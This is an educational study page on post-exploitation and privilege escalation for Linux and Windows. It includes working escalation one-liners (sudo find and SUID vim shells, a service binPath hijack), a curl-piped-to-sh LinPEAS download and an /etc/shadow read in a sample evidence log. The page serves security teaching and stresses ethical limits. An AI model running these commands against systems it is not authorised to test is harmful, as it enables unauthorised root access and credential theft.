PROJECTENGRAM

POST-EXPLOITATION AWARENESS AND PRIVILEGE ESCALATION

Post-Exploitation Awareness and Privilege Escalation

Tags: #◇Computer Science #◇NSSECU2 #◇Cybersecurity #◇Post-Exploitation #◇Privilege Escalation #◇LinPEAS #◇WinPEAS #◇Linux Security #◇Windows Security

◇Overview

Gaining initial low-privileged access to a target machine marks only the preliminary phase of assessing realistic breach impact. Post-exploitation encompasses context discovery, evaluating local authorization boundaries, identifying privilege escalation vectors, and determining the potential blast radius of a compromised host. Ethical security practitioners operate with strict investigative restraint: proving that vertical escalation to administrative authority (root or NT AUTHORITY\SYSTEM) is achievable while avoiding destructive persistence, unapproved lateral movement, or unauthorized access to sensitive business data.

◇Key Definitions

  • Post-Exploitation: The phase of a security assessment following initial system compromise, focused on determining system context, assessing configuration weaknesses, identifying escalation paths, and evaluating organizational risk.
  • Vertical Privilege Escalation: Elevating access privileges from a standard or low-privileged user account (e.g., www-data, localuser) to a higher-privileged administrative or root account (root, SYSTEM, Administrator).
  • Horizontal Privilege Escalation: Accessing files, processes, or resources belonging to another peer user account with equivalent privilege levels (e.g., User A accessing User B's mailbox).
  • Persistence: Maintaining long-term access to a compromised system across reboots and credential resets (e.g., via scheduled tasks, registry Run keys, or new user accounts).
  • Lateral Movement: The technique of extending access from an initially compromised host to other interconnected systems, servers, or domains across the internal network.
  • SUID (Set User ID) Binary: A Linux file permission attribute that instructs the operating system to execute the binary with the permissions of the file owner (typically root) rather than the calling user.
  • Unquoted Service Path: A Windows service vulnerability where a service binary path contains spaces and lacks enclosing quotes, allowing local users to plant a malicious executable in the path hierarchy.
  • SeImpersonatePrivilege: A Windows user privilege allowing a process to impersonate security tokens of other client accounts, frequently leveraged by service accounts (e.g., IIS APPPOOL\DefaultAppPool, LOCAL SERVICE) for SYSTEM escalation.

◇Theoretical Framework / Core Concepts

1. Privilege Escalation Paradigms

『』
TEXT
+-----------------------------------------------------------------------------------+
|                        PRIVILEGE ESCALATION PARADIGMS                             |
+-----------------------------------------------------------------------------------+
|                                                                                   |
|                   [ HIGH PRIVILEGE: root / SYSTEM / Domain Admin ]                |
|                                          ^                                        |
|                                          |                                        |
|                       VERTICAL ESCALATION (Elevate Access)                        |
|                                          |                                        |
|    +-------------------------------------+-----------------------------------+    |
|    |                                                                         |    |
|    v                                                                         v    |
| [ Standard User 1: `alice` ] <== HORIZONTAL ESCALATION ==> [ Standard User 2: `bob` ] |
| (www-data / app service)     (Access Peer Workspaces)      (finance / accounting) |
+-----------------------------------------------------------------------------------+

2. Post-Access Context Discovery

Immediately upon establishing an initial shell, an analyst determines the operational context:

『』
BASH
# --- LINUX CONTEXT DISCOVERY ---
whoami                  # Current username context
id                      # UID, GID, and supplemental group memberships
hostname                # Machine hostname and domain
uname -a                # Kernel version and OS release architecture
cat /etc/os-release     # Specific Linux distribution details
ip addr || ifconfig     # Internal network interfaces and subnets
『』
TEXT
--- WINDOWS CONTEXT DISCOVERY ---
whoami                  -> Current domain/user context
whoami /groups          -> Security groups (e.g., Local Administrators, Backup Operators)
whoami /priv            -> Enabled security privileges (e.g., SeImpersonatePrivilege)
systeminfo              -> OS build, hotfixes installed, architecture (x64)
net user                -> Local user account listings

◇Privilege Escalation Vectors & Mechanisms

1. Linux Privilege Escalation Vectors

『』
TEXT
+-----------------------------------------------------------------------------------+
|                         LINUX ESCALATION VECTOR TAXONOMY                          |
+-----------------------------------------------------------------------------------+
|  1. Sudo Misconfigurations (sudo -l)                                              |
|     - Low-priv user permitted to run specific binaries as root without password.  |
|     - Example: `(root) NOPASSWD: /usr/bin/find` -> `sudo find . -exec /bin/sh \;` |
+-----------------------------------------------------------------------------------+
|  2. SUID / SGID Binaries (find / -perm -4000)                                     |
|     - Misconfigured root-owned binaries with SUID bit set.                        |
|     - Example: `/usr/bin/vim` with SUID -> `:py3 import os; os.execl("/bin/sh")`  |
+-----------------------------------------------------------------------------------+
|  3. Writable Scheduled Tasks / Cron Jobs (/etc/crontab, /etc/cron.*)              |
|     - Root cron job executing a shell script that standard users can modify.      |
|     - Example: Root runs `/opt/scripts/backup.sh` every minute; backup.sh is 777. |
+-----------------------------------------------------------------------------------+
|  4. Plaintext Credentials & Configuration Files                                   |
|     - Database connection strings in `/var/www/html/wp-config.php` or `.env`.     |
+-----------------------------------------------------------------------------------+
|  5. Kernel Exploitation (e.g., Dirty COW CVE-2016-5195, Dirty Pipe CVE-2022-0847)|
|     - Local race conditions in kernel memory pages; last resort due to crash risk.|
+-----------------------------------------------------------------------------------+
『』
BASH
# 1. Check Sudo Privileges
sudo -l

# 2. Search for SUID Binaries Owned by Root
find / -perm -u=s -type f 2>/dev/null

# 3. Check System-Wide Cron Jobs
cat /etc/crontab
ls -la /etc/cron.*

# 4. Search for Stored Passwords in Web Roots
grep -rn "DB_PASSWORD" /var/www/html/ 2>/dev/null

2. Windows Privilege Escalation Vectors

『』
TEXT
+-----------------------------------------------------------------------------------+
|                        WINDOWS ESCALATION VECTOR TAXONOMY                         |
+-----------------------------------------------------------------------------------+
|  1. Unquoted Service Paths                                                        |
|     - Binary path: `C:\Program Files\Vulnerable App\Service.exe`                  |
|     - OS executes: `C:\Program.exe` -> `C:\Program Files\Vulnerable.exe`          |
|     - If user has write access to `C:\`, planting `Program.exe` yields SYSTEM.   |
+-----------------------------------------------------------------------------------+
|  2. Token Impersonation (Potato Exploits)                                         |
|     - Service accounts possessing `SeImpersonatePrivilege` or `SeAssignPrimary`.   |
|     - Tools: SweetPotato, JuicyPotato, PrintSpoofer coerce SYSTEM token relay.    |
+-----------------------------------------------------------------------------------+
|  3. AlwaysInstallElevated Registry Keys                                           |
|     - If `AlwaysInstallElevated = 1` in both HKLM and HKCU, standard users can   |
|       install custom MSI packages that execute with full SYSTEM privileges.       |
+-----------------------------------------------------------------------------------+
|  4. Weak Service Permissions                                                      |
|     - User has `SERVICE_CHANGE_CONFIG` rights on a service running as SYSTEM.      |
|     - `sc config VulnService binPath= "cmd.exe /c net localgroup Administrators..."`
+-----------------------------------------------------------------------------------+

◇Automated Local Enumeration Scripting

Automated scripts streamline the discovery of hundreds of potential escalation vectors:

『』
BASH
# 1. Linux Local Privilege Escalation Suite (LinPEAS)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or execute local copy in memory:
/bin/bash linpeas.sh -a -N > /tmp/linpeas_out.txt

# 2. Windows Local Privilege Escalation Suite (WinPEAS)
# Execute WinPEAS binary from command prompt:
winPEASx64.exe quiet cmd fast
  • Color Coding in PEAS:
    • Red / Yellow Highlight: Represents a 99% certain privilege escalation vector (e.g., Sudo NOPASSWD rule, unquoted path).
    • Red Text: Important configuration detail requiring manual verification.
    • Regular Text: Informational context (installed packages, network routes).

◇Sensitive Concepts & Strict Ethical Restrictions

Professional ethical penetration testing enforces rigid boundaries regarding post-exploitation:

『』
TEXT
+-----------------------------------------------------------------------------------+
|                    ETHICAL POST-EXPLOITATION BOUNDARIES                           |
+-----------------------------------------------------------------------------------+
|  [ PROHIBITED ] 1. UNAUTHORIZED PERSISTENCE                                       |
|     -> Do NOT add backdoor users, modify SSH authorized_keys, or create scheduled |
|        tasks unless explicitly contracted for a Red Team persistence drill.       |
+-----------------------------------------------------------------------------------+
|  [ PROHIBITED ] 2. UNAPPROVED LATERAL MOVEMENT                                    |
|     -> Do NOT pivot into un-scoped internal subnets, banking networks, or domain   |
|        controllers without formal client authorization.                           |
+-----------------------------------------------------------------------------------+
|  [ PROHIBITED ] 3. SENSITIVE DATA EXFILTRATION                                    |
|     -> Never download actual client customer records, credit cards, or HR files.  |
|     -> Prove data access by capturing metadata (row counts, table schema headers).|
+-----------------------------------------------------------------------------------+

Minimal Impact Evidence Discipline

To prove complete compromise without damaging the system:

『』
TEXT
================================================================================
PRIVILEGE ESCALATION EVIDENCE LOG
================================================================================
Vulnerability:       Sudo NOPASSWD Misconfiguration on `/usr/bin/find`
Initial User:        `www-data` (UID: 33)
Escalation Vector:   `sudo find . -exec /bin/sh -p \;`

Verifiable Proof:
$ id
uid=0(root) gid=0(root) groups=0(root)

$ hostname
prod-app-server-01

$ cat /etc/shadow | head -n 1
root:$6$rounds=4096$vF8...[REDACTED_HASH]...:19245:0:99999:7:::

Technical Summary: Successfully proved arbitrary root execution. No configuration
                   files modified; no persistence mechanisms established.
================================================================================

◇References & Navigation

CONFIRMATION // 理解度の確認

ACTIVE RECALL VERIFICATION

Select an answer to verify conceptual comprehension and reveal the technical rationale.

Q1

What is the fundamental difference between Vertical and Horizontal Privilege Escalation?

Q2

An analyst checks sudo -l on a Linux system and sees (ALL) NOPASSWD: /usr/bin/find. How can the analyst immediately obtain a root shell?

Q3

What security risk is introduced by a root-owned executable file that has the SUID permission bit set (-rwsr-xr-x)?

Q4

On Windows, why does an unquoted service path like C:\Program Files\My App\service.exe represent a privilege escalation risk?

Q5

What Windows user privilege is required to execute "Potato" family privilege escalation exploits (e.g., SweetPotato, PrintSpoofer) to elevate from a service account to SYSTEM?

Q6

In LinPEAS output, what does text highlighted in Red with a Yellow background indicate?

Q7

Why must penetration testers avoid creating permanent backdoor user accounts or registry persistence on client production machines?

Q8

When demonstrating proof of access to a sensitive database during a penetration test, what is the proper minimal-impact evidence practice?

Post-Exploitation Awareness and Privilege Escalation | PROJECT ENGRAM